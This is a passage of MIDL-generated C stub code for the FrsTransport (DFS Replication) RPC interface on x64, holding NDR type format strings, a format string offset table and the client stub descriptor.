/* 404 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 406 */ NdrFcShort( 0xfe76 ), /* Offset= -394 (12) */
/* 408 */ 0xb, /* FC_HYPER */
0xb, /* FC_HYPER */
/* 410 */ 0xb, /* FC_HYPER */
0x8, /* FC_LONG */
/* 412 */ 0x8, /* FC_LONG */
0x8, /* FC_LONG */
/* 414 */ 0x8, /* FC_LONG */
0x5b, /* FC_END */
/* 416 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 418 */ NdrFcShort( 0x2 ), /* Offset= 2 (420) */
/* 420 */ 0x30, /* FC_BIND_CONTEXT */
0xe9, /* Ctxt flags: via ptr, in, out, strict, can't be null */
/* 422 */ 0x0, /* 0 */
0x0, /* 0 */
/* 424 */
0x11, 0x0, /* FC_RP */
/* 426 */ NdrFcShort( 0x2 ), /* Offset= 2 (428) */
/* 428 */
0x1c, /* FC_CVARRAY */
0x0, /* 0 */
/* 430 */ NdrFcShort( 0x1 ), /* 1 */
/* 432 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 434 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 436 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 438 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 440 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 442 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 444 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 446 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 448 */ NdrFcLong( 0x0 ), /* 0 */
/* 452 */ NdrFcLong( 0x40000 ), /* 262144 */
/* 456 */ 0x30, /* FC_BIND_CONTEXT */
0x49, /* Ctxt flags: in, strict, can't be null */
/* 458 */ 0x0, /* 0 */
0x0, /* 0 */
/* 460 */ 0xb7, /* FC_RANGE */
0x1, /* 1 */
/* 462 */ NdrFcLong( 0x1 ), /* 1 */
/* 466 */ NdrFcLong( 0x8 ), /* 8 */
/* 470 */
0x11, 0x0, /* FC_RP */
/* 472 */ NdrFcShort( 0x2 ), /* Offset= 2 (474) */
/* 474 */
0x1c, /* FC_CVARRAY */
0x0, /* 0 */
/* 476 */ NdrFcShort( 0x1 ), /* 1 */
/* 478 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 480 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 482 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 484 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 486 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 488 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 490 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 492 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 494 */ NdrFcLong( 0x1 ), /* 1 */
/* 498 */ NdrFcLong( 0x10000 ), /* 65536 */
/* 502 */
0x11, 0x0, /* FC_RP */
/* 504 */ NdrFcShort( 0xa ), /* Offset= 10 (514) */
/* 506 */
0x15, /* FC_STRUCT */
0x7, /* 7 */
/* 508 */ NdrFcShort( 0x10 ), /* 16 */
/* 510 */ 0xb, /* FC_HYPER */
0xb, /* FC_HYPER */
/* 512 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 514 */
0x21, /* FC_BOGUS_ARRAY */
0x7, /* 7 */
/* 516 */ NdrFcShort( 0x0 ), /* 0 */
/* 518 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 520 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 522 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 524 */ NdrFcLong( 0xffffffff ), /* -1 */
/* 528 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 530 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 532 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (506) */
/* 534 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 536 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 538 */ NdrFcLong( 0x0 ), /* 0 */
/* 542 */ NdrFcLong( 0x14 ), /* 20 */
/* 546 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 548 */ NdrFcLong( 0x0 ), /* 0 */
/* 552 */ NdrFcLong( 0x40000 ), /* 262144 */
/* 556 */
0x11, 0x0, /* FC_RP */
/* 558 */ NdrFcShort( 0xfe4e ), /* Offset= -434 (124) */
/* 560 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 562 */ NdrFcLong( 0x0 ), /* 0 */
/* 566 */ NdrFcLong( 0x1 ), /* 1 */
/* 570 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 572 */ NdrFcShort( 0x2 ), /* Offset= 2 (574) */
/* 574 */ 0x30, /* FC_BIND_CONTEXT */
0xa8, /* Ctxt flags: via ptr, out, strict, */
/* 576 */ 0x0, /* 0 */
0x0, /* 0 */
/* 578 */
0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */
/* 580 */ NdrFcShort( 0x2 ), /* Offset= 2 (582) */
/* 582 */
0x12, 0x0, /* FC_UP */
/* 584 */ NdrFcShort( 0x90 ), /* Offset= 144 (728) */
/* 586 */ 0xb7, /* FC_RANGE */
0x1, /* 1 */
/* 588 */ NdrFcLong( 0x0 ), /* 0 */
/* 592 */ NdrFcLong( 0x8 ), /* 8 */
/* 596 */
0x2b, /* FC_NON_ENCAPSULATED_UNION */
0x7, /* FC_USHORT */
/* 598 */ 0x7, /* Corr desc: FC_USHORT */
0x0, /* */
/* 600 */ NdrFcShort( 0xfffe ), /* -2 */
/* 602 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 604 */ NdrFcShort( 0x2 ), /* Offset= 2 (606) */
/* 606 */ NdrFcShort( 0x42 ), /* 66 */
/* 608 */ NdrFcShort( 0x3 ), /* 3 */
/* 610 */ NdrFcLong( 0x0 ), /* 0 */
/* 614 */ NdrFcShort( 0x16 ), /* Offset= 22 (636) */
/* 616 */ NdrFcLong( 0x1 ), /* 1 */
/* 620 */ NdrFcShort( 0x2e ), /* Offset= 46 (666) */
/* 622 */ NdrFcLong( 0x2 ), /* 2 */
/* 626 */ NdrFcShort( 0x3a ), /* Offset= 58 (684) */
/* 628 */ NdrFcShort( 0xffff ), /* Offset= -1 (627) */
/* 630 */
0x1d, /* FC_SMFARRAY */
0x0, /* 0 */
/* 632 */ NdrFcShort( 0x40 ), /* 64 */
/* 634 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 636 */
0x15, /* FC_STRUCT */
0x1, /* 1 */
/* 638 */ NdrFcShort( 0x42 ), /* 66 */
/* 640 */ 0x6, /* FC_SHORT */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 642 */ 0x0, /* 0 */
NdrFcShort( 0xfff3 ), /* Offset= -13 (630) */
0x5b, /* FC_END */
/* 646 */ 0xb7, /* FC_RANGE */
0x6, /* 6 */
/* 648 */ NdrFcLong( 0x80 ), /* 128 */
/* 652 */ NdrFcLong( 0x4000 ), /* 16384 */
/* 656 */ 0xb7, /* FC_RANGE */
0x6, /* 6 */
/* 658 */ NdrFcLong( 0x2 ), /* 2 */
/* 662 */ NdrFcLong( 0x60 ), /* 96 */
/* 666 */
0x1a, /* FC_BOGUS_STRUCT */
0x1, /* 1 */
/* 668 */ NdrFcShort( 0x4 ), /* 4 */
/* 670 */ NdrFcShort( 0x0 ), /* 0 */
/* 672 */ NdrFcShort( 0x0 ), /* Offset= 0 (672) */
/* 674 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 676 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (646) */
/* 678 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 680 */ NdrFcShort( 0xffe8 ), /* Offset= -24 (656) */
/* 682 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 684 */
0x15, /* FC_STRUCT */
0x1, /* 1 */
/* 686 */ NdrFcShort( 0x4 ), /* 4 */
/* 688 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 690 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 692 */
0x1a, /* FC_BOGUS_STRUCT */
0x1, /* 1 */
/* 694 */ NdrFcShort( 0x44 ), /* 68 */
/* 696 */ NdrFcShort( 0x0 ), /* 0 */
/* 698 */ NdrFcShort( 0x0 ), /* Offset= 0 (698) */
/* 700 */ 0x6, /* FC_SHORT */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 702 */ 0x0, /* 0 */
NdrFcShort( 0xff95 ), /* Offset= -107 (596) */
0x5b, /* FC_END */
/* 706 */
0x21, /* FC_BOGUS_ARRAY */
0x1, /* 1 */
/* 708 */ NdrFcShort( 0x0 ), /* 0 */
/* 710 */ 0x3, /* Corr desc: FC_SMALL */
0x0, /* */
/* 712 */ NdrFcShort( 0xfff8 ), /* -8 */
/* 714 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 716 */ NdrFcLong( 0xffffffff ), /* -1 */
/* 720 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 722 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 724 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (692) */
/* 726 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 728 */
0x1a, /* FC_BOGUS_STRUCT */
0x7, /* 7 */
/* 730 */ NdrFcShort( 0x1c ), /* 28 */
/* 732 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (706) */
/* 734 */ NdrFcShort( 0x0 ), /* Offset= 0 (734) */
/* 736 */ 0xb, /* FC_HYPER */
0xb, /* FC_HYPER */
/* 738 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 740 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 742 */ NdrFcShort( 0xff64 ), /* Offset= -156 (586) */
/* 744 */ 0x3f, /* FC_STRUCTPAD3 */
0xd, /* FC_ENUM16 */
/* 746 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 748 */
0x11, 0x0, /* FC_RP */
/* 750 */ NdrFcShort( 0x2 ), /* Offset= 2 (752) */
/* 752 */
0x1c, /* FC_CVARRAY */
0x0, /* 0 */
/* 754 */ NdrFcShort( 0x1 ), /* 1 */
/* 756 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 758 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 760 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 762 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 764 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 766 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 768 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 770 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 772 */ NdrFcLong( 0x0 ), /* 0 */
/* 776 */ NdrFcLong( 0x40000 ), /* 262144 */
/* 780 */
0x11, 0x0, /* FC_RP */
/* 782 */ NdrFcShort( 0x2 ), /* Offset= 2 (784) */
/* 784 */
0x1c, /* FC_CVARRAY */
0x0, /* 0 */
/* 786 */ NdrFcShort( 0x1 ), /* 1 */
/* 788 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 790 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 792 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 794 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 796 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 798 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 800 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 802 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 804 */ NdrFcLong( 0x0 ), /* 0 */
/* 808 */ NdrFcLong( 0x40000 ), /* 262144 */
/* 812 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 814 */ NdrFcShort( 0x4 ), /* Offset= 4 (818) */
/* 816 */ 0x1, /* FC_BYTE */
0x5c, /* FC_PAD */
/* 818 */ 0xb5, /* FC_PIPE */
0x0, /* 0 */
/* 820 */ NdrFcShort( 0xfffc ), /* Offset= -4 (816) */
/* 822 */ NdrFcShort( 0x1 ), /* 1 */
/* 824 */ NdrFcShort( 0x1 ), /* 1 */
/* 826 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 828 */ NdrFcShort( 0x4 ), /* Offset= 4 (832) */
/* 830 */ 0x1, /* FC_BYTE */
0x5c, /* FC_PAD */
/* 832 */ 0xb5, /* FC_PIPE */
0x0, /* 0 */
/* 834 */ NdrFcShort( 0xfffc ), /* Offset= -4 (830) */
/* 836 */ NdrFcShort( 0x1 ), /* 1 */
/* 838 */ NdrFcShort( 0x1 ), /* 1 */
0x0
}
};
static const unsigned short FrsTransport_FormatStringOffsetTable[] =
{
0,
48,
120,
168,
276,
348,
396,
486,
534,
602,
676,
732,
794,
838,
934,
1024,
1074
};
static const MIDL_STUB_DESC FrsTransport_StubDesc =
{
(void *)& FrsTransport___RpcClientInterface,
MIDL_user_allocate,
MIDL_user_free,
&FrsTransport__MIDL_AutoBindHandle,
0,
0,
0,
0,
ms2Dfrs2__MIDL_TypeFormatString.Format,
1, /* -error bounds_check flag */
0x50002, /* Ndr library version */
0,
0x8000253, /* MIDL Version 8.0.595 */
0,
0,
0, /* notify & notify_flag routine table */
0x1, /* MIDL flag */
0, /* cs routines */
0, /* proxy/server info */
0
};
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif /* defined(_M_AMD64)*/
|
End of preview. Expand
in Dataset Viewer.
- Downloads last month
- 48
Size of downloaded dataset files:
285 MB
Size of the auto-converted Parquet files:
285 MB
Number of rows:
109,170